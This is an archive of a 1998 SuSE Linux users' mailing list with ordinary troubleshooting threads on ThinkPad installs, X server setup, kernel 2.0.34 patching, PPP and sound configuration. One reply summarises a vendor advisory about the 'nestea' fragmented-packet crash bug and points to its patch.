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On Wed, 03 Jun 1998, Kaare Rasmussen wrote:
>Annoying:
>
>One friend tried to install S.u.S.E. Linx 5.2 on a Thinkpad 760XL with
>the diskette. After teh LILO prompt, it says loading init
>and then loading linux.. and then freezes. I've tried telling LILO to
>load linux floppy=thinkpad with the same result.
>
>The (english) supportbase only tells about random breakdowns so what
>now?

I have the exact same problem with a Thinkpad 760E.  I haven't seen much on
the Linux Laptop support database either :-(  I have tried with Debian
1.3.1, and was going to try with SuSE next.  I guess I won't bother until I
find out more.  My suspicion is that it has something to do with the drive.
I don't think that LILO is handling the Thinkpad disk correctly.  Linux
runs fine, but I have to boot with loadlin.  I tried the linear and compact
tags (seperately and together) and still nothing worked.  I have a 2.1GB
drive, so the geometry is weird.

You will need the floppy=thinkpad setting or you will not be able to use
the floppy.  IBM decided to invert the bit that determines if there is a
disk in the driver or not.  Sigh.

Best,
Kyle

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From laszlo@idt.net Thu Jun  4 05:54:20 1998
From: laszlo@idt.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] General Protection error
Date: Thu, 04 Jun 1998 01:54:20 -0400
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I did just about everything I could think of.  Hardware reseated, kernel
recompiled, took the case off the computer.  Whatever it is, it seems to
be working.  The system is stable.

I'm going to wait and see if it remains so.  Besides the actual work on
the server, the main environmental difference has been the outside
temperature.  It has been very cool outside for the past two days.  This
may be giving me a 'cleaner' electrical feed.  In any case, I am giving
serious consideration to having another 20amp circuit installed to another
UPS.  Especially if the server tends to die when the outside temperature
goes up.

Thanks for all your help,

Laszlo


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From Marius.Augenstein@alcatel.de Thu Jun  4 07:36:12 1998
From: Marius.Augenstein@alcatel.de
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Unexpected message for Secure Apache server (SuSE 5.1)
Date: Thu, 04 Jun 1998 09:36:12 +0200
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arunkhan(a)xnet.com wrote:
>=20
> I have re-installed SuSE 5.1 on my "server" machine, this time with Apache
> SSL.
> The required packages (apassl-1.2.4-5 and ssleay-0.8.1-4) are installed in
> my system (at least YaST did not identify missing dependencies).
>=20
> At boot time I see the following messages w.r.t SSL Apache:
>=20
> .... other boot messages
> Starting SSL-WWW-SERVER Apache
> .... few other messages
> SSL disabled for server kaveri.intra.net:80
> Starting INET server (inetd)
> .... other boot  messages
>=20
> Kaveri is the name of my server machine and intra.net is the domain name
> for my intranet.  I have named running on the same machine with complete
> data of the intra.net domain.  I have also grepped the files in the
> /sbin/init.d to see which script is generating the "SSL disabled ..."
> message but come up with nothing.
>=20
> Executing /sbin/inet.d/apassl restart gives the following:
> Reload SSL Apache configuration
> SSL disabled for server kaveri.intra.net:80
>=20
> Am I missing some configuration file that was not generated by YaST
> installation?  I would appreciate if anybody in this list can help me
> understand the above error and run Apache SSL with SSL enabled successfully.

Hello Arun

You should have a look to the configuration file in /etc called rc.config. In
this file should be a variable which controls the loading and starting of your
SSL-Layer. I'm only using SuSE 5.1 so I'm sorry that I can't tell you the nam=
e=20
of the variable.

Hopefully this helps you.


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From weissel@jupiter.ph-cip.uni-koeln.de Thu Jun  4 10:36:56 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] General Protection error
Date: Thu, 04 Jun 1998 12:36:56 +0200
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Hi!

Trying to kill the keyboard, laszlo(a)idt.net produced:
> I compiled the ethernet support for the 'tulip' chip into the kernel v
> 2.0.33.  Debian was running a much older kernel, 2.0.2?
> There is a constant internet connection over a T1 line, but doubt that the
> failures was due to attacks. =20

Well, I remember there is an attack against unpatched 2.0.33 kernels
that result in exactly that failure mode ... but I'll have to look into
the bugtraq archives (and I am offline, so that'll take some time).=20

I _think_ it was nestea, however:
ftp://f=
tp.suse.com/pub/suse_update/kernel/ipfragment-2.0.33> (Patch
against the "nestea" attack), explanation is in
http://www.suse.de/safety/nestea.html>

I'll translate the main gist (since it's in German)

   An error in the TCP/IP code of the kernel was found that allows
   anyone to crash the computer. Similar to the "Teardrop"-bug (fixed in
   2.0.32) a specially crafted fragmented packet overwrites the memory,
   leading to a crash or reboot. Name: "syndrop" or "nestea".

   Another DoS-Attack (Denial of Service) exploits the fact that
   oversized IP-Packets get logged, bombarding a computer with these
   leads to it doing nothing else than logging them. [and filling up
   /var/log]

   Thanks to the usual swift reaction of the Linux-community a patch is=20
   already aviable for both problems. You are strongly urged to
   use it on all computers directly reachable from the internet. The
   patch is aviable from our FTP-site. [and other places, of course]
    =20
> I think that it may just be a heat issue.  Without the case cover, it's
> been up for 10 hours.  I find it difficult to accept, there was no
> noticable head buildup.  And I had taken all precautions on providing air
> conditining and ventilation on specially installed racks.

I know that my HD gets just over handwarm in the case, but not noticably
warm at all all open-cased. Ok, the air circulation may not be perfect,
but it is there.

> Oh well.  I hope that it was a heat issues, as the solutions are the
> easiest to implement.

Do patch in the patch, as well - or, if possible, sever the
T1-connection while debugging.

-Wolfgang


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From albert.bergonzo@ign.fr Thu Jun  4 11:22:39 1998
From: albert.bergonzo@ign.fr
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] X-server configuration troubles
Date: Thu, 04 Jun 1998 11:22:39 +0000
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Dear fellow SuSE users,

I am looking for your help and advice in the following matter :

On SuSE 5.2, it has been very hard to get the XFree86 server up and
running.

My card is a Matrox Millenium PCI with 4M° Ram 220Mhz RamDac.

Neither XSetup nor XConfig would generate a running server at first. I
looked in SuSE support Database web site, DejaNews etc... 

Nothing worked until I ran SuperProbe and XSetup just afterwards. This
time I could have evrything I wanted i.e. 1024x768 at depths between 16
and 32bits.

When I have just done that, I can start any X session I want, quit,
start again etc.

All is not fine however, because after rebooting the machine (just
normal reboot because I want to switch OS or whatever) and I try startx
again, I get an error message stating my card cannot stand this
resolution. It also appears in the error message like a generic card.

I checked whether the links are right (following SuSE SDB advice) and it
does not show anything wrong.

Help and hints will be greatly appreciated as it is not much fun having
to reconfigure the X system every time I start the machine :-(

Albert

P.S. I apologize for any misconceptions I may have on this issue, as you
may have guessed I am new to Linux.

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From arunkhan@xnet.com Thu Jun  4 15:44:25 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] X-server configuration troubles
Date: Thu, 04 Jun 1998 10:44:25 -0500
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At 11:22 AM 6/4/98 +0000, you wrote:
>
>Dear fellow SuSE users,
>
>I am looking for your help and advice in the following matter :
>
                .... stuff deleted ....
>All is not fine however, because after rebooting the machine (just
>normal reboot because I want to switch OS or whatever) and I try startx
>again, I get an error message stating my card cannot stand this
>resolution. It also appears in the error message like a generic card.
>
>I checked whether the links are right (following SuSE SDB advice) and it
>does not show anything wrong.
>
>Help and hints will be greatly appreciated as it is not much fun having
>to reconfigure the X system every time I start the machine :-(
>
>Albert
>
>P.S. I apologize for any misconceptions I may have on this issue, as you
>may have guessed I am new to Linux.

I don't have a Millenium myself, however a few suggestions.

1. ensure you have installed the proper Xserver for your card (I hope you
have read thru /usr/X11R6/lib/X11/doc/README.MGA (Matrox cards)

2. From your description it seems that you have /var/X11R6/bin/X linked to
a VGA Xserver.  Check the above link file via ls -l, it should show the
Xserver file it is linked to in /usr/X11R6/bin directory.  If it is not
linked to the Matrox Xserver then install the Matrox Xserver.

3 Use the command "startx 2>&1 1>.xerr.out"  This will capture all error
messages from your Xserver into .xerr.out that you can share with us to
help understand your problem.

HTH
Arun Khan
PS - You don't have to apologize when asking for help.

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From kar@webline.dk Thu Jun  4 17:12:33 1998
From: kar@webline.dk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] IBM Thinkpad
Date: Thu, 04 Jun 1998 19:12:33 +0200
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> find out more.  My suspicion is that it has something to do with the drive.

So is mine - the floppy drive.

> I don't think that LILO is handling the Thinkpad disk correctly.  Linux
> runs fine, but I have to boot with loadlin.  I tried the linear and compact
> tags (seperately and together) and still nothing worked.  I have a 2.1GB
> drive, so the geometry is weird.

I have a 5 GB disk, and LILO can boot linux off the last partition (1œ
GB of Linux). Problem is only to install it with the floppy. I
installed Linux off the CD, but I have a hard time explaining my friend
that Linux is superior to NT, when he can't even install it properly as
described in the manual.

> You will need the floppy=thinkpad setting or you will not be able to use

I tried that already. No luck.


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From suse@wavenet.it Thu Jun  4 17:39:30 1998
From: suse@wavenet.it
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Wu-Ftpd 2.42 Beta 17 compilation problem
Date: Thu, 04 Jun 1998 19:39:30 +0200
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I' m trying to compile Wu-Ftpd 2.42 Beta 17 but compilation always fails.
I' ve tried several times, I made some changes to makefiles, but no
success. Typing "./build lnx", I get:

make args are : 
make opts are : 

Linking Makefiles.

Making support library.
gcc  -O6 -fomit-frame-pointer -fno-strength-reduce -pipe   -c strcasestr.c
gcc  -O6 -fomit-frame-pointer -fno-strength-reduce -pipe   -c authuser.c
gcc  -O6 -fomit-frame-pointer -fno-strength-reduce -pipe   -c snprintf.c
rm -f libsupport.a
ar cq libsupport.a strcasestr.o authuser.o snprintf.o
ranlib libsupport.a

Making ftpd.
gcc -O6 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s   -c ftpd.c -o ftpd.o
ftpd.c: In function `statcmd':
ftpd.c:2719: `bytesize' undeclared (first use this function)
ftpd.c:2719: (Each undeclared identifier is reported only once
ftpd.c:2719: for each function it appears in.)
make: *** [ftpd.o] Error 1

Making ftpcount.
bison -y  ftpcmd.y 
mv -f y.tab.c ftpcmd.c
sh newvers.sh
gcc -O6 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -c vers.c
gcc -O6 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -o ftpcount ftpcount.c vers.o -lsupport -lbsd 

Making ftpshut.
gcc -O6 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -o ftpshut ftpshut.c vers.o -lsupport -lbsd 

Making ckconfig.
gcc -O6 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -o ckconfig ckconfig.c

Links to executables are in bin directory:
size: bin/ftpd: No such file or directory
text    data    bss     dec     hex     filename
5117    396     100     5613    15ed    bin/ftpcount
5032    328     104     5464    1558    bin/ftpshut
5117    396     100     5613    15ed    bin/ftpwho
2772    204     88      3064    bf8     bin/ckconfig
Done

What can I do to make ftpd compiling successfully?

Thanks for your help.

Bye.


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From nick@belam.gazinter.net Thu Jun  4 17:44:07 1998
From: nick@belam.gazinter.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] WL2420
Date: Thu, 04 Jun 1998 20:44:07 +0300
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           Dear friends...

       I am looking for linux drivers for WL2420 card from Z-Com.
       Maybe anyones have a linux drivers for radio-ethernet card WL2420.
       The firm Z-Com don't help me. Shame!!!

           Please mail me about WL2420. Thank you.

                                            Nick K. Kozubsky
                                          nick(a)belam.koenig.ru
                                   Tel/FAX: +7 0112 350505 + voice 232

Rem:  No Microsoft products were used in the production of this message.

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From gecko@benham.net Thu Jun  4 19:11:13 1998
From: gecko@benham.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] 2.0.34-patch
Date: Thu, 04 Jun 1998 12:11:13 -0700
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Now that the 2.0.34 patch is out.. any idea how long before SuSE will have a
patch to their brand of kernel source?  The patch doesn't apply very nicely
over linux-2.0.33.pre.SuSE..etc source.

Darren
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From hatridge@straubing.baynet.de Thu Jun  4 20:08:23 1998
From: hatridge@straubing.baynet.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Shell Acount
Date: Thu, 04 Jun 1998 22:08:23 +0200
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Hi All!

This may sound like a dumb question, but how can I tell if I have a shell
account with my ISP?

Right now I'm using baynet for email and  surfing. That's all.

Thanks 

JIM

-----------------------------------------
Jim Hatridge
Germany 
hatridge(a)straubing.baynet.de

M$ -- Ghostdriver* on the road to the future!
(*German Slang for the guy driving on the wrong side of the road!)

___________ News Flash! -------------- News Flash! ___________________

Yesterday, a ferry boat leaving Haiti sunk and 300 people died, drowned,
as the boat capsized. But a tragedy was avoided when they discovered that
none of them on board was a Princess. 
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From mgx@spruce.lsd.ornl.gov Thu Jun  4 20:19:32 1998
From: mgx@spruce.lsd.ornl.gov
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] trackpad & 3 button emulation
Date: Thu, 04 Jun 1998 16:19:32 -0400
Message-ID: <19980604161932.C7357@spruce.lsd.ornl.gov>
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good day all ...

i cannot seem to be able to enable 3 button emulation on my 
laptop. i'm running suse 5.2, the laptop is a gateway solo 2200.
i have X configure and everything else seems normal. i just cannot
seem to get it to emulate the middle button. i've diddled with the
mouse settings in the XFree86Setup to no avail.

thanks for any help!


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From mgx@spruce.lsd.ornl.gov Thu Jun  4 20:43:21 1998
From: mgx@spruce.lsd.ornl.gov
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] 3-button mouse emulation solved
Date: Thu, 04 Jun 1998 16:43:21 -0400
Message-ID: <19980604164321.D7357@spruce.lsd.ornl.gov>
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sorry, i found the answer to my 3-button emulation problem. i had
a brain fart, and forgot i needed to click the 'apply' button in
the xf86setup mouse config panel. sorry for the stupid question ...


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From gecko@benham.net Thu Jun  4 20:51:03 1998
From: gecko@benham.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] FW: failed delivery
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Would the owners of the SuSE list please remove this person from the list.  I
get a bounced email everytime I post to the list.
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From satan@nfinity.com Thu Jun  4 20:55:04 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] 2.0.34 and ppp
Date: Thu, 04 Jun 1998 15:55:04 -0500
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I have compiled 2.0.34 with gcc 2.7.2.1 and with egcs 1.0.3a,  and both
resulting kernels broke my ppp,  and recompiling pppd did not remedy this.
I am back to using 2.0.33 with no irregularities.  Anyone else have
trouble with ppp in 2.0.34?

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From gecko@benham.net Thu Jun  4 21:13:37 1998
From: gecko@benham.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Caching problem?
Date: Thu, 04 Jun 1998 14:13:37 -0700
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Here's an interesting one.  Since we unfortunatly have to ship products on
Win31, still, I have a Win31 machine on my desk next to my Linux box.  I edit
in Linux and store all my source in a directory that's Samba shared.  My Win31
machine mounts that directory and compiles as needed. =20

Twice now, I've edited the file in my Linux box, gone to the dos machine and
the changes are not there.  Don't see them.  If I close the DOS box in windows
and open another one, the changes show... who's caching and where might I find
the problem or info to lead me in that direction?
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From gecko@benham.net Thu Jun  4 21:14:37 1998
From: gecko@benham.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] 2.0.34 and ppp
Date: Thu, 04 Jun 1998 14:14:37 -0700
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How did you get the patches to work?  I ended up with files in the wrong
directories when I tried...

On 04-Jun-98 Michael Lankton wrote:
> I have compiled 2.0.34 with gcc 2.7.2.1 and with egcs 1.0.3a,  and both

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From satan@nfinity.com Thu Jun  4 21:59:59 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 2.0.34 and ppp
Date: Thu, 04 Jun 1998 16:59:59 -0500
Message-ID: <357718DF.B664B9A@nfinity.com>
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I am suspicious of patches.  I always download the complete sources.

The Gecko wrote:
>=20
> How did you get the patches to work?  I ended up with files in the wrong
> directories when I tried...
>=20
> On 04-Jun-98 Michael Lankton wrote:
> > I have compiled 2.0.34 with gcc 2.7.2.1 and with egcs 1.0.3a,  and both
>=20
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From hekate@intergate.bc.ca Thu Jun  4 22:52:27 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 2.0.34-patch
Date: Thu, 04 Jun 1998 15:52:27 -0700
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I thought I had just screwed up when I tried to apply it. It didn't work well=
 on
my system either. Hopefully SuSE will just put it up on the site.  Seems alot=
 of
people are having probs with this one.

The Gecko wrote:

> Now that the 2.0.34 patch is out.. any idea how long before SuSE will have a
> patch to their brand of kernel source?  The patch doesn't apply very nicely
> over linux-2.0.33.pre.SuSE..etc source.
>
> Darren
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From gecko@benham.net Thu Jun  4 23:22:55 1998
From: gecko@benham.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 2.0.34-patch
Date: Thu, 04 Jun 1998 16:22:55 -0700
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On 04-Jun-98 hekate wrote:
>=20
> I thought I had just screwed up when I tried to apply it. It didn't work we=
ll
> on
> my system either. Hopefully SuSE will just put it up on the site.  Seems al=
ot
> of
> people are having probs with this one.
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I'm taking Lankton's advice and d/ling the whole source...

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From mhtexcollins@ccms.net Fri Jun  5 00:15:32 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] sound and fury
Date: Thu, 04 Jun 1998 19:15:32 -0500
Message-ID: <357738A3.3DF06CF2@ccms.net>
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You get mouse click sounds in kde when you change windows or open or close a
window???  I don't believe it till I see It,  Unless some others say that
they have success and can tell me how.

Havin fun now.

Michael Lankton wrote:

> Everything that makes noise in linux from mp3 players to cds to midi to
> games like Doom and Quake have always worked fine for me, no problems.
> However, the audio in xmame only works if I boot from loadlin.  It uses
> /dev/dsp,  as I'm sure other apps do.  Every other noise maker on my box
> works from a lilo boot, but not xmame.  Obviously from a loadlin
> boot something is getting configured that isapnp must not be setting up,
> but what, and why only that one app?  Appreciate any ideas, I'm confused.
>
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> house and four people died."                       -- Steven Wright
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From khayes@flash.net Fri Jun  5 02:27:53 1998
From: khayes@flash.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] IBM Thinkpad
Date: Thu, 04 Jun 1998 19:27:53 -0700
Message-ID: <98060419303200.00295@dogwaffle>
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On Thu, 04 Jun 1998, Kaare Rasmussen wrote:
>> find out more.  My suspicion is that it has something to do with the drive.
>
>So is mine - the floppy drive.

Once I set the flag in LILO and in LOADLIN (I still have to boot that way),
the floppy worked fine.  I have one of those Thinkpads where you need to
remove the floppy to insert the CD drive.  Sigh.

>> I don't think that LILO is handling the Thinkpad disk correctly.  Linux
>> runs fine, but I have to boot with loadlin.  I tried the linear and compact
>> tags (seperately and together) and still nothing worked.  I have a 2.1GB
>> drive, so the geometry is weird.
>
>I have a 5 GB disk, and LILO can boot linux off the last partition (1œ
>GB of Linux). Problem is only to install it with the floppy. I
>installed Linux off the CD, but I have a hard time explaining my friend
>that Linux is superior to NT, when he can't even install it properly as
>described in the manual.

Hmm, what does your lilo.conf look like?  I can't get mine to work no
matter what I try.  I think I memorized the LILO manual...

>> You will need the floppy=thinkpad setting or you will not be able to use
>
>I tried that already. No luck.

It must be in the "append" section if I remember correctly.

Best,
Kyle


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From dana@ntd.net Fri Jun  5 03:36:28 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject:
 [S.u.S.E. Linux] Alternate "fast" FTP site for 2.0.34 kernel?
Date: Thu, 04 Jun 1998 22:36:28 -0500
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Anyone?  Kernel.org is well..., slow. (no surprise since the new stable
kernel has been released) but how about a fast ftp site?  ;-)

Dana


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From vhearn@wenet.net Fri Jun  5 03:40:55 1998
From: vhearn@wenet.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Catching problem?
Date: Thu, 04 Jun 1998 20:40:55 -0700
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Here's an interesting one. i'm still a way newbian...i like the
automation of 5.2....the autodetect..xwindows....etc

the PPP is stilll a monster for me...ie, all the params...what are the
modem initss???(i put MODEM=/dev/ttyS1...(to init it out of plain ole'
dev/modem...?

..and onbootup it tells me there are no such files as:
/tmp/suse_ppp$$$..or...tmp/suse_ppp$$$/diald

do i need diald for ppp? and if so how do i get the diald properties to
show up???

i'm ok...#vic#..AKA#FrAcTeL23#

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From satan@nfinity.com Fri Jun  5 04:28:41 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Alternate "fast" FTP site for 2.0.34 kernel?
Date: Thu, 04 Jun 1998 23:28:41 -0500
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ftp.funet.fi

Dana J. Laude wrote:
> 
> Anyone?  Kernel.org is well..., slow. (no surprise since the new stable
> kernel has been released) but how about a fast ftp site?  ;-)
> 
> Dana

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From dana@ntd.net Fri Jun  5 04:58:57 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Alternate "fast" FTP site for 2.0.34 kernel?
Date: Thu, 04 Jun 1998 23:58:57 -0500
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Dana J. Laude wrote:

> Anyone?  Kernel.org is well..., slow. (no surprise since the new stable
> kernel has been released) but how about a fast ftp site?  ;-)

Never mind, found a good link off linuxhq.com.

Dana


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From satan@nfinity.com Fri Jun  5 06:22:50 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] sound and fury
Date: Fri, 05 Jun 1998 01:22:50 -0500
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Everything that makes noise in linux from mp3 players to cds to midi to
games like Doom and Quake have always worked fine for me, no problems.
However, the audio in xmame only works if I boot from loadlin.  It uses
/dev/dsp,  as I'm sure other apps do.  Every other noise maker on my box
works from a lilo boot, but not xmame.  Obviously from a loadlin
boot something is getting configured that isapnp must not be setting up,
but what, and why only that one app?  Appreciate any ideas, I'm confused.

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From pbleser@prov-liege.be Fri Jun  5 08:33:23 1998
From: pbleser@prov-liege.be
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Alternate "fast" FTP site for 2.0.34 kernel?
Date: Fri, 05 Jun 1998 10:33:23 +0200
Message-ID: <01bd905c$9a1a5590$36320a0a@rubis.inpres.epl.prov-liege.be>
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You can also download it from the FTP server I administrate, it's open 24
hours a day ;-)

ftp://ftp.student.prov-liege.be:/pub/linux/kernel/linux-2.0.34.t=
ar.gz>
I'm in Belgium, and it should be an acceptable speed : we don't have that
much bandwidth but there isn't much traffic either, so... give it at try !

Pascal
  /nick SuSE52 on #linux (IRCnet)
  root on www.student.prov-liege.be

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From: Dana J. Laude 
To: suse-linux-e(a)suse.com 
Date: vendredi 5 juin 1998 05:43
Subject: [S.u.S.E. Linux] Alternate "fast" FTP site for 2.0.34 kernel?

>
>Anyone?  Kernel.org is well..., slow. (no surprise since the new stable
>kernel has been released) but how about a fast ftp site?  ;-)
>
>Dana
>
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From weissel@jupiter.ph-cip.uni-koeln.de Fri Jun  5 12:38:28 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 2.0.34-patch
Date: Fri, 05 Jun 1998 14:38:28 +0200
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Hi!

Trying to kill the keyboard, gecko(a)benham.net produced:
> Now that the 2.0.34 patch is out.. any idea how long before SuSE will have a
> patch to their brand of kernel source?  The patch doesn't apply very nicely
> over linux-2.0.33.pre.SuSE..etc source.

Well, the patch is meant against an unpatched 2.0.33 kernel tree. The
SuSE version is patched to hell and back (including new stuff like
Soundblaster AWE support), so of course it won't patch nicely. Now, it
may just be that the features you want are all in the 2.0.34, look at
the changes file. In that case go and install the normal kernel
sources (unless they are installed already), cd /usr/src/linux-2.0.33
(where the unpatched kernel is) and 
patch -p1 < patch-2.0.34 2>/tmp/errors.

-p1 because the patches are customarily for linux/path_to_file/file and
linux points (currently) to the 2.0.33-SuSE ... so we want to strip the
'linux/' part. 

Then /tmp/errors should contain no patch failed or similar.

(Or, if you are unsure, D/L the complete 3.0.34 and check it against what
you patched.)

-Wolfgang


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From nick@belam.gazinter.net Fri Jun  5 12:57:41 1998
From: nick@belam.gazinter.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] PCI Sound Card
Date: Fri, 05 Jun 1998 15:57:41 +0300
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        Dear frends....
        Hello for Vicco Jarsky!

    Anyones to known about ESS Maestro-1 PCI Sound Card?
    I am looking for Linux driver for it.

    How about Linux and PCI Sound cards? Or it impossible (of course, yet)?

                                        Good luck from Russia.

                                            Nick K. Kozubsky
                                          nick(a)belam.koenig.ru
                                   Tel/FAX: +7 0112 350505 + voice 232

Rem:  No Microsoft products were used in the production of this message.

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From ke@suse.de Fri Jun  5 15:06:22 1998
From: ke@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 2.0.34-patch
Date: Fri, 05 Jun 1998 17:06:22 +0200
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The Gecko  writes:

|   I'm taking Lankton's advice and d/ling the whole source...

There's no need to do so.  de-install the package "lx_suse", install the
package "linux" and apply the official kernel patch by Linus.

Please, read the package descriptions carefully via F2 inside YaST.

Anyway, if you've ftp'ed the whole kernel source, that's also okay.

Nice weekend,

Karl


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From gecko@benham.net Fri Jun  5 16:12:35 1998
From: gecko@benham.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 2.0.34-patch
Date: Fri, 05 Jun 1998 09:12:35 -0700
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On 05-Jun-98 Karl Eichwalder wrote:
> There's no need to do so.  de-install the package "lx_suse", install the
> package "linux" and apply the official kernel patch by Linus.
I actually tried that, too.  Didn't work -- but I think the patch was corrupt=
ed
this time.
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From gecko@benham.net Fri Jun  5 17:04:29 1998
From: gecko@benham.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Shell Acount
Date: Fri, 05 Jun 1998 10:04:29 -0700
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Best way is probably to ask... otherwise try telnetting into one of the other
computers they have.. maybe shells.baynet.de (that's how my ISP does it) or
where ever your email resides...

On 04-Jun-98 Jim Hatridge wrote:
> This may sound like a dumb question, but how can I tell if I have a shell
> account with my ISP?

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From eck@ti.com Fri Jun  5 17:07:07 1998
From: eck@ti.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Xboing Sound Missing
Date: Fri, 05 Jun 1998 12:07:07 -0500
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Hi,
I have used RedHat Linux (V4.2) before trying SuSE V5.2. Under RedHat
the program Xboing produces sound while under SuSE there is none. 
Does anyone know what my problem may be? I'm using a kernel with sound
built-in. Near as I can tell the kernels are compiled the same. Other
programs such as xpat2 will produce sound and I can play mod files
and cat *.au to /dev/audio.

Also, I have a program which uses ncurses to control where the curser
is located in a terminal. Under RedHat it works as expected but under
SuSE the display of information to the termianl is not correct. Is there
something basically different between the ncurses between RedHat and
SuSE. I've even recompiled the program under SuSE.

Oh, one more thing. I run quake2 under both RedHat and SuSE. Does anyone
know why the save files from RedHat cannot be used under SuSE and those
from SuSE cannot be used by RedHat. I get a seg falt when trying to load
a saved game from the other linux version.

Well, that's all for now. Thank you for your time.

Terry

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From deem@wdm.com Fri Jun  5 17:09:53 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] No package in  5.2 ?
Date: Fri, 05 Jun 1998 09:09:53 -0800
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As Jamie Zawinski has an excellent app named Xscreensaver, is it possible
to get an official SuSE rpm of this ? I think it should seriously be looked
at for inclusion on the SuSE distribution.

Thanks

-Dee

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From jdkc@woptura.com Fri Jun  5 17:52:58 1998
From: jdkc@woptura.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Shell Acount
Date: Fri, 05 Jun 1998 12:52:58 -0500
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Jim Hatridge wrote:

> Hi All!
>
> This may sound like a dumb question, but how can I tell if I have a shell
> account with my ISP?
>
> Right now I'm using baynet for email and  surfing. That's all.
>
> Thanks
>
> JIM

One way is to call them and ask.  Another pretty good indicator is to telnet
to them and see if you get a login prompt.


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From mr.zelig@linux.nu Fri Jun  5 20:46:10 1998
From: mr.zelig@linux.nu
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] deskjet 850c
Date: Fri, 05 Jun 1998 22:46:10 +0200
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Hi All!

I've been searching around the manuals and the net to find out how to make
my HP Deskjet 850c work the way it should. I've been able to make it print
in 300x300, but it's supposed to print in 600x600 b/w and 300x300 in color.

I don't think I'm the only one using this printer and I would really
appreciate some help in this matter.

I'm using 5.1 at the moment, but I'm thinking of upgrading to 5.2 if that
can solve my problems.

Have a great day!
Mikael
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From khayes@flash.net Sat Jun  6 03:01:52 1998
From: khayes@flash.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Catching problem?
Date: Fri, 05 Jun 1998 20:01:52 -0700
Message-ID: <98060520081500.00208@dogwaffle>
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On Thu, 04 Jun 1998, vic wrote:
>the PPP is stilll a monster for me...ie, all the params...what are the
>modem initss???(i put MODEM=/dev/ttyS1...(to init it out of plain ole'
>dev/modem...?

I added the modem as  the second serial port (DOS=>COM2:).   This is
/dev/ttyS1 on my system.  Assuming that your modem is on the second serial
port, it sounds right.  I ignored the modem inits.  The defaults were good
enough.

You have installed suseppp?

>..and onbootup it tells me there are no such files as:
>//tmp/suse_ppp$$$..or...tmp/suse_ppp$$$/diald

Did you use yast or set up the files by hand? Yast does a fairly good job
(with some slightly annoying exceptions).  You just need to remember to set
up basic networking first and then configure PPP.  Also, as far as I can
tell from the poking around I did, if you don't live in a German speaking
country, just use "generic" as the name of your ISP.

>do i need diald for ppp? and if so how do i get the diald properties to
>show up???

You don't need diald, but since I live in the US and don't have to pay for
connect time (I would still trade this for reasonable ISDN rates), I
configured diald to bring up the connection when my computer comes up. 
It then tries to keep it up all the time.  Works for me.  However, there is
a bug in the scripts that set up diald.  They don't copy all the config
files correctly to the right places.  Look in the SuSE help database on the
SuSE website.  They have a note on it.

Best,
Kyle

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From kar@webline.dk Sat Jun  6 06:05:36 1998
From: kar@webline.dk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 2.0.34-patch
Date: Sat, 06 Jun 1998 08:05:36 +0200
Message-ID: <199806060605.IAA09054@bohr.webline.dk>
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> may just be that the features you want are all in the 2.0.34, look at
> the changes file. In that case go and install the normal kernel

If someone actually look in the changes file, can they post the
S.u.S.E. relevant parts here? I'm thinking about the ISDN-specific
patches against problems with dynamic IP addresses, others may have
other interests.

I don't want to download 2.0.34 just to find out that it wont help me
any.


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From ccb@sunset.net Sat Jun  6 07:16:03 1998
From: ccb@sunset.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 2.0.34 and ppp
Date: Sat, 06 Jun 1998 00:16:03 -0700
Message-ID: <19980606001603.A790@ecst.csuchico.edu>
